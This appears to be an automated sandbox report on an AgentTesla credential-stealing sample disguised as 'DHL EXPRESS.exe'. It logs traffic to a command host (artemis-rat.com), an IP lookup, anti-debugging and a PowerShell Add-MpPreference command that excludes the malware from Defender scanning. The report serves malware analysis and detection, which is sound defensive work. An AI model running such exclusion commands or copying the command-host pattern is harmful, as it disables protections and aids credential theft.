Mar 11, 2024 18:37:03.403552055 CET	175	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:37:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 15 X-Rl: 43 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	140.82.114.4	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 17:36:42 UTC	101	OUT	GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-03-11 17:36:43 UTC	506	IN	HTTP/1.1 200 OK Server: GitHub.com Date: Mon, 11 Mar 2024 17:36:42 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With ETag: W/"9fee9cce98cb5e0beecbc19423c0abdd" Cache-Control: max-age=0, private, must-revalidate Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-03-11 17:36:43 UTC	3591	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f 6d 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 20 61 70 69 2e 67 69 74 68 75 62 2e Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.
2024-03-11 17:36:43 UTC	21	IN	Data Raw: 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: connection: close
2024-03-11 17:36:43 UTC	1370	IN	Data Raw: 38 30 30 30 0d 0a 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 0a 20 20 6c 61 6e 67 3d 22 65 6e 22 0a 20 20 0a 20 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 20 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 0a 20 20 64 61 74 61 2d 61 31 31 79 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 73 3d 22 73 79 73 74 65 6d 22 20 64 61 74 61 2d 61 31 31 79 2d 6c 69 6e 6b 2d 75 6e 64 65 72 6c 69 6e 65 73 3d 22 74 72 75 65 22 0a 20 20 3e 0a 0a 0a 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 Data Ascii: 8000<!DOCTYPE html><html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system" data-a11y-link-underlines="true" > <head> <meta charset="utf-8"> <link rel="dns-pr
2024-03-11 17:36:43 UTC	1370	IN	Data Raw: 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 64 61 72 6b 5f 63 6f 6c 6f 72 62 6c 69 6e 64 2d 61 66 61 39 39 64 63 66 34 30 66 37 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 5f 63 6f 6c 6f 72 62 6c 69 6e 64 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: ="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-afa99dcf40f7.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/
2024-03-11 17:36:43 UTC	1370	IN	Data Raw: 67 69 74 68 75 62 2d 66 34 64 38 35 37 63 62 63 39 36 61 2e 63 73 73 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 72 65 70 6f 73 69 74 6f 72 79 2d 36 32 34 37 63 61 32 33 38 66 64 34 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 Data Ascii: github-f4d857cbc96a.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/repository-6247ca238fd4.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubass
2024-03-11 17:36:43 UTC	1370	IN	Data Raw: 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 74 61 63 6b 74 72 61 63 65 2d 70 61 72 73 65 72 5f 64 69 73 74 5f 73 74 61 63 6b 2d 74 72 61 63 65 2d 70 61 72 73 65 72 5f 65 73 6d 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 72 6f 2d 61 34 63 31 38 33 2d 37 39 66 39 36 31 31 63 32 37 35 62 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 Data Ascii: ps://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-a4c183-79f9611c275b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://gi
2024-03-11 17:36:43 UTC	1370	IN	Data Raw: 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 6f 6d 62 6f 62 6f 78 2d 6e 61 76 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 61 72 6b 64 6f 77 6e 2d 74 6f 6f 6c 62 61 72 2d 65 2d 38 32 30 66 63 30 2d 62 63 38 66 30 32 62 39 36 37 34 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 Data Ascii: " defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_combobox-nav_dist_index_js-node_modules_github_markdown-toolbar-e-820fc0-bc8f02b96749.js"></script><script crossorigin="anonymous" defer
2024-03-11 17:36:43 UTC	1370	IN	Data Raw: 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 65 6c 65 6d 65 6e 74 2d 72 65 67 69 73 74 72 79 2d 38 35 37 34 35 33 30 61 36 63 64 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f Data Ascii: fer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-8574530a6cd5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendo
2024-03-11 17:36:43 UTC	1370	IN	Data Raw: 65 72 74 5f 69 6e 64 65 78 5f 6a 73 2d 37 32 63 39 66 62 64 65 35 61 64 34 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 62 65 68 61 76 69 6f 72 73 5f 64 69 73 74 5f 65 73 6d 5f 64 69 6d 65 6e 73 69 6f 6e 73 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6a 74 6d 6c 5f 6c 69 62 5f 69 6e 64 65 78 Data Ascii: ert_index_js-72c9fbde5ad4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_jtml_lib_index
2024-03-11 17:36:43 UTC	1370	IN	Data Raw: 62 5f 62 65 68 61 76 69 6f 72 73 5f 69 6e 63 6c 75 64 65 2d 34 36 37 37 35 34 2d 66 39 62 64 34 33 33 65 39 35 39 31 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 63 6f 6d 6d 65 6e 74 69 6e 67 5f 65 64 69 74 5f 74 73 2d 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f Data Ascii: b_behaviors_include-467754-f9bd433e9591.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	51190	222.255.238.159	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 17:36:47 UTC	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
2024-03-11 17:36:47 UTC	192	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-03-11 17:36:47 UTC	613	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	54051	104.21.54.158	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 17:36:52 UTC	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
2024-03-11 17:36:52 UTC	161	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: -
2024-03-11 17:36:52 UTC	155	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	55337	104.26.12.205	443	42552	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 17:37:02 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-03-11 17:37:02 UTC	211	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:37:02 GMT Content-Type: text/plain Content-Length: 13 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 862d4f67fc870ad7-LAS
2024-03-11 17:37:02 UTC	13	IN	Data Raw: 31 35 34 2e 31 36 2e 31 30 35 2e 33 38 Data Ascii: 154.16.105.38

Target ID:	0
Start time:	18:36:39
Start date:	11/03/2024
Path:	C:\Users\user\Desktop\DHL EXPRESS.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\DHL EXPRESS.exe
Imagebase:	0x1d2a8b20000
File size:	30'208 bytes
MD5 hash:	6332BBF44F5DAA55FE57AFB039DE26EE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	18:36:58
Start date:	11/03/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DHL EXPRESS.exe" -Force
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:36:58
Start date:	11/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:36:58
Start date:	11/03/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
Imagebase:	0xa20000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2628785588.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2628785588.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2638363384.0000000002EDD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2638363384.0000000002EB5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2638363384.0000000002EB5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	18:36:58
Start date:	11/03/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
Imagebase:	0x430000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	18:37:00
Start date:	11/03/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7564 -s 78008
Imagebase:	0x7ff7251b0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	170
Total number of Limit Nodes:	15

Executed Functions

Function 02E3B798 Relevance: 2.8, Instructions: 2810COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2638285150.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e30000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25a0d823a1c4c55a7c5a5d4430e933ee444986bb6f41ef048bedaae7d9f44128
Instruction ID: eecedd530d92b8c39bc9dc184bef5690a08b58b9a57df32eff6c2c8a1da16aa0
Opcode Fuzzy Hash: 25a0d823a1c4c55a7c5a5d4430e933ee444986bb6f41ef048bedaae7d9f44128
Instruction Fuzzy Hash: C6630531D10B1A8ADB51EF68C8846A9F7B1FF99300F15D79AE45877121EB70AAC4CF81

Uniqueness

Uniqueness Score: -1.00%

Function 068951F0 Relevance: 1.8, Strings: 1, Instructions: 591
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 068958CD

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: ba82a0dbf9052311f5fe1fb4ad9b12661c982a8cecc7887dc95d7737223059bd
Instruction ID: 816158cce5995c372bcbf40275bcf031c9a6bf498b42d729891f38eb3fff3124
Opcode Fuzzy Hash: ba82a0dbf9052311f5fe1fb4ad9b12661c982a8cecc7887dc95d7737223059bd
Instruction Fuzzy Hash: D622E375E002198FDF65DBA4C4906AEBBB2FF89310F288469DA05EB354DB31DC45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02E3EA90 Relevance: 1.6, Strings: 1, Instructions: 394
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

|, xrefs: 02E3EEA8

Memory Dump Source

Source File: 00000006.00000002.2638285150.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e30000_RegSvcs.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: ca7d38b76cd62e8394fddcea4b3dff59ad4883c726335f4d5bd63a3a84a79635
Instruction ID: 2dfe01b1fef59b9adb1c1c378c6da92a5e61872ddbbcffcdd72cb44df902544f
Opcode Fuzzy Hash: ca7d38b76cd62e8394fddcea4b3dff59ad4883c726335f4d5bd63a3a84a79635
Instruction Fuzzy Hash: FDD1CC70B002169FDB16DB68C854B6EB7B6EF88311F28C56AD416DB395DB31EC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02E37ED0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 02E37F47

Memory Dump Source

Source File: 00000006.00000002.2638285150.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e30000_RegSvcs.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: cad8af0fcd18c226630835392e8b60fe4124f702a0cb145a1b47b2684f3d2b9a
Instruction ID: c92116b9547d951dd9c91d29d345b7832d1998d9243de11e1e2e33ac8a0b7e32
Opcode Fuzzy Hash: cad8af0fcd18c226630835392e8b60fe4124f702a0cb145a1b47b2684f3d2b9a
Instruction Fuzzy Hash: 512157B280025A8FDB10DF9AD884BEEFBF4BF49220F14845AE458A3350D778A944CF60

Uniqueness

Uniqueness Score: -1.00%

Function 02E33EB0 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

\V?m, xrefs: 02E340FB

Memory Dump Source

Source File: 00000006.00000002.2638285150.0000000002E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2e30000_RegSvcs.jbxd

Similarity

API ID:
String ID: \V?m
API String ID: 0-2742225629
Opcode ID: b763dcb3958989884fb95d5f6081e7daafeeb03c45c54f48508fce15618f25a2
Instruction ID: bfb3b40a0cf0f6d3c22090b57f1ba5f96c01853a5dc7c14f6727cde1855021d3
Opcode Fuzzy Hash: b763dcb3958989884fb95d5f6081e7daafeeb03c45c54f48508fce15618f25a2
Instruction Fuzzy Hash: 93917B70E40609CFDB21CFA9C8887DEBBF2AF88709F14D129E415A7294EB359845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0689238B Relevance: 1.0, Instructions: 1014COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b7d0d5480b2d9a00df69e1ac32d137f1d1a505f9b56e51d8ae005c4cc7349e3
Instruction ID: 6852fbe3416bc83e2a2d680d2722816adfc99c3745990613565a27e2d1f36cd7
Opcode Fuzzy Hash: 1b7d0d5480b2d9a00df69e1ac32d137f1d1a505f9b56e51d8ae005c4cc7349e3
Instruction Fuzzy Hash: DF928634A10204DFDBA4DB68C594B6DB7F2FB48310F5884AAD509EB361DB35ED85CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 06896240 Relevance: .8, Instructions: 815COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2643540758.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6890000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62bd635a99add21c27cab9ff95b689aa0d39a555ffb1e2a99ee80e2751f14f59
Instruction ID: 428801817f0a7764f8c1734121b16482f3d49f729f957b56961c52dd9d0251d3
Opcode Fuzzy Hash: 62bd635a99add21c27cab9ff95b689aa0d39a555ffb1e2a99ee80e2751f14f59
Instruction Fuzzy Hash: 4A629034A002058FEF54DB68D554BADB7B2FF84314F188569E906EB354EB31ED85CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0689C1E8 Relevance: .6, Instructions: 638COMMON

Download Yara Rule

Memory Dump Source

